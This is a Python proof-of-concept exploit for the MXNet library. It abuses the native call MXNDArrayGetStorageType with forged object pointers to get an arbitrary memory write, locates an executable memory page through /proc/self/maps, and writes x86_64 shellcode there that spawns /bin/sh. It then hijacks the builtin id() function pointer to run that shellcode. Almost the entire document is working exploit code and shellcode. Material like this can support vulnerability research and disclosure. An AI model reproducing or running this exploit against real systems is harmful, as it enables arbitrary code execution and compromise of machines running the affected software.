python
#!/usr/bin/env python3
'''
MXNet Unsafe Pointer Usage Exploit
Payload:
write(1, "Exploit Successful!\n", 0x14);
execve("/bin/sh", ["/bin/sh"], NULL)
'''
import ctypes
from struct import pack, unpack
import mxnet as mx
def sizeof(obj):
'''
Determine the size of a Python object in memory
Source: https://github.com/DavidBuchanan314/unsafe-python
'''
return type(obj).__sizeof__(obj)
def w64(addr, val):
'''
Write 64 bytes to an address in memory. Note that because we have a
4 byte write, we have to write twice to put a QWORD into memory.
'''
print(f'[w]\t\tw64({hex(addr)}, {hex(val)})')
fake_object1 = b'A' * 0x10 + b'\0' * 0x40 + pack('<Q', val) + pack('<Q', val)
fake_object_addr1 = id(fake_object1) + sizeof(b'')-1
mx.base._LIB.MXNDArrayGetStorageType(
ctypes.c_void_p(fake_object_addr1),
ctypes.c_void_p(addr))
mx.base._LIB.MXNDArrayGetStorageType(
ctypes.c_void_p(fake_object_addr1+4),
ctypes.c_void_p(addr+4))
if __name__ == '__main__':
print(f'{"*"*8} MXNet Unsafe Pointer Usage Exploit {"*"*8}')
RWX_ADDR = 0
with open('/proc/self/maps','r', encoding="utf-8") as fd:
for line in fd.read().split('\n'):
if 'rwx' in line:
RWX_ADDR = int('0x' + line.split('-')[0], 0x10)
print(f'[+]\tderived RWX_ADDR: {hex(RWX_ADDR)}')
RWX_ADDR += 0x800
print(f'[+]\tset RWX_ADDR += 0x800 (halfway through page): {hex(RWX_ADDR)}')
# shellcode obtained from Binary Ninja's Shellcode Compiler
# scc x86_64 / linux
# void main() {
# write(1, "Exploit Successful!\n", 0x14);
# interactive_sh();
# }
SHELLCODE = b'\x48\x8b\xec\x4c\x8d\x0d\x12\x00\x00\x00\x49\x8d\x31\x6a\x01\x58' +\
b'\x33\xff\x6a\x14\x5a\x0f\x05\xe9\x15\x00\x00\x00\x45\x78\x70\x6c' +\
b'\x6f\x69\x74\x20\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x21\x0a' +\
b'\x00\x90\x90\x90\x90\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62' +\
b'\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48' +\
b'\x89\xe6\xb0\x3b\x0f\x05'
SHELLCODE += b'\x00' * ((8-len(SHELLCODE) % 8)) # pad to 8 bytes
print(f'[+]\tWriting shellcode to {hex(RWX_ADDR)}')
for i in range(0, len(SHELLCODE), 8):
v = unpack('<Q', SHELLCODE[i:i+8])[0]
sc_addr = RWX_ADDR+i
w64(sc_addr, v)
print('[+]\tShellcode written!')
print('[+]\tDeriving address of Python3 builting function id...')
id_addr = id(id)+0x30
print('[+]\tOverwriting id() function pointer with address to shellcode...')
w64(id_addr, RWX_ADDR)
print('[+]\tTriggering the exploit!')
id(1)